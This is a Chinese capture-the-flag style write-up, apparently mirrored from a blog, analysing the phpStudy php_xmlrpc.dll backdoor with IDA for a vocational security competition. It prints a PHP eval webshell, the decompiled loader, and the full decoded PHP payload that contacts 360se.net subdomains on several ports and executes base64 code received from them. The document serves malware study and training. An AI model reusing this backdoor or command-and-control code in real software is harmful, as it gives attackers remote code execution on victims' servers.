IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> 全国中职网络安全B模块之国赛题远程代码执行渗透测试 |PHPstudy的后门漏洞分析 -> 正文阅读

[网络协议]全国中职网络安全B模块之国赛题远程代码执行渗透测试 |PHPstudy的后门漏洞分析

简介

需要工具和环境的可以加群809706080,有什么不会的也可以在里面提问,我看到会第一时间回答

在这里插入图片描述

1. 找出靶机桌面上文件夹1中的文件RCEBackdoor.zip,使用静态反编译工具IDA对该压缩包中的程序进行分析,根据提示来分析目标文件,将包含恶意代码基址偏移的范围作为Flag值提交(提交形式:0x1000XXXX-0x1000XXXX);

进入桌面后,解压文件,可以看到有以下文件

在这里插入图片描述

通过我朋友雨泽的中间件漏洞文章和这个php的版本,可以猜到这题考的是前几年phpstudy的后门漏洞

雨泽的文章链接:https://blog.csdn.net/liufdfd/article/details/125507247?spm=1001.2014.3001.5501

phpstudy的后门漏洞大部分存在于:

phpStudy20180211版本 php5.4.45与php5.2.17 ext扩展文件夹下的php_xmlrpc.dll
phpStudy20161103版本 php5.4.45与php5.2.17 ext扩展文件夹下的php_xmlrpc.dll

我们打开这个文件目录找到后门文件

然后将文件拖入ida pro 分析

在这里插入图片描述
在这里插入图片描述

我们按shift+f12可以显示出文件内的字符串,在下面可以发现这两个奇怪的字符串

在这里插入图片描述

这个是常用的php小马代码

<?php @eval($_POST['cmd']);?>

可以判断,这个字符串就是后门代码

接下来我们交叉引用,跳转到执行这个代码的段,我们双击这个字符串

在这里插入图片描述

双击这个地方,跳转到执行代码的地方

在这里插入图片描述

在这里插入图片描述

这就是代码执行的地方,我们可以按f5看一下这个段的伪代码

在这里插入图片描述

根据题目,将包含恶意代码基址偏移的范围作为Flag值提交,

我们通过从恶意代码执行的地方往上逆向分析,在这个while循环可以发现

在这里插入图片描述

从最下面的恶意代码执行的伪代码跟着我的思路走

    v10 = &byte_10011B34;
    v11 = asc_1000C028;
    v41 = &byte_10011B34;
    v12 = 0;
    v13 = asc_1000C028;
    while ( 1 )
    {
      if ( *(_DWORD *)v13 == 39 )
      {
        v10[v12] = 92;
        v41[v12 + 1] = *v11;    //v41获取了v11变量的内存地址
        v12 += 2;
        v13 += 8;
      }
      else
      {
        v10[v12++] = *v11;
        v13 += 4;
      }
      v11 += 4;
      if ( (int)v11 >= (int)&unk_1000C66C )   //如果v11变量里的值大于1000C66C内存地址里的值
        break;
      v10 = v41;   //v10变量=v41变量
    }
    spprintf(&v41, 0, "@eval(%s('%s'));", aGzuncompress, v41);     //将@eval(%s('%s'));字符串和aGzuncompress里的值存入V41变量里

我只分析了一下关键地方的代码,其他地方的代码不怎么重要,在分析里可以知道,关键的偏移地址是V11里的值和if对比的1000C66C内存地址里的值

将包含恶意代码基址偏移的范围作为Flag值提交

0x1000C028-0x1000C66C

2. 继续分析反汇编后代码,找出在恶意代码中的关键函数,将用于字符串拼接的函数名称作为Flag值提交;(提交形式:echo())

这个就简单多了,我们继续在ida里分析

在这里插入图片描述

可以发现,拼接字符串函数名称是

spprintf

3. 继续分析反汇编后代码,找出在恶意代码中的关键函数,将用于格式化字符串的参数名称作为Flag值提交;(提交形式:%*)

恶意代码如下

@eval(%s('%s'));

由此可知,用于格式化字符串的参数名称是

%s

4. 继续分析反汇编后代码,找出在恶意代码中的关键函数,将用于字符串传参的参数名称作为Flag值提交;(提交形式:%*)

通过上面的恶意代码和学过c语言的都知道,字符串传参的参数名称是

%s

5. 找出靶机Windows7桌面上文件夹1中的decode.py文件并完善此文件,填写该文件当中空缺的F1、F2、F3、F4四个字符串,将四个字符串拼接后的内容作为Flag值提交

我们打开decode.py文件

在这里插入图片描述

关键的f1,f2,f3,f4代码:

data = zlib.F1(data)
flag = b'F2'
hwrite.write(F3)
hwrite.write(F4)
#Flag=F1.F2.F3.F4

F1是python的zlib模块里的函数

F1:

decompress

F2是程序aGzuncompress变量里的值

在这里插入图片描述

我们双击这个变量进入查看

在这里插入图片描述

F2:

gzuncompress

通过这段代码分析

flag = b'F2'
		offset = data.find(flag)
		data = data[offset + 0x10:offset + 0x10 + 0x567*4].replace(b"\x00\x00\x00",b"")
		decodedata_1 = zlib.F1(data[:0x191])
		print(hexdump(data[0x191:]))
		decodedata_2 = zlib.F1(data[0x191:])
		with open("compres_data1.txt","w") as hwrite:
			hwrite.write(F3)
			hwrite.close
		with open("compres_data2.txt","w") as hwrite:
			hwrite.write(F4)
			hwrite.close

在这里插入图片描述

F3和F4分别为:

str(decodedata_1)和str(decodedata_2)

完整的flag为:

decompress.gzuncompress.str(decodedata_1).str(decodedata_2)

6. 执行decode.py后将生产两个文件,对第二个文件中内容进行分析并解码,将其中出现的端口列表中的所有端口号一招从小到大的顺序依次排列作为Flag值(如:21,22,23,80)提交;

我们填补完程序缺失的代码后执行

从生成的第二个文件里可以发现

@ini_set("display_errors","0");
    error_reporting(0);
    function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
        $result = "";
      $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);
      if( !$handle ){
        $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
        if( !$handle ){
            return "err";
        }
      }
      fwrite($handle, $sendMsg."\n");
        while(!feof($handle)){
            stream_set_timeout($handle, 2);
            $result .= fread($handle, 1024);
            $info = stream_get_meta_data($handle);
            if ($info['timed_out']) {
              break;
            }
         }
      fclose($handle);
      return $result;
    }
    $ds = array("www","bbs","cms","down","up","file","ftp");
    $ps = array("20123","40125","8080","80","53");
    $n = false;
    do {
        $n = false;
        foreach ($ds as $d){
            $b = false;
            foreach ($ps as $p){
                $result = tcpGet($i,$d.".360se.net",$p);
                if ($result != "err"){
                    $b =true;
                    break;
                }
            }
            if ($b)break;
        }
        $info = explode("<^>",$result);
        if (count($info)==4){
            if (strpos($info[3],"/*Onemore*/") !== false){
                $info[3] = str_replace("/*Onemore*/","",$info[3]);
                $n=true;
            }
            @eval(base64_decode($info[3]));
        }
    }while($n);

端口号从小到大的顺序为:

53,80,8080,20123,40125

poc利用

可以看雨泽写的文章,也是全国中职网络安全B模块的题,叫做中间件渗透测试

https://blog.csdn.net/liufdfd/article/details/125507247?spm=1001.2014.3001.5502
  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-07-05 23:42:56  更:2022-07-05 23:43:04 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/19 14:06:17-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码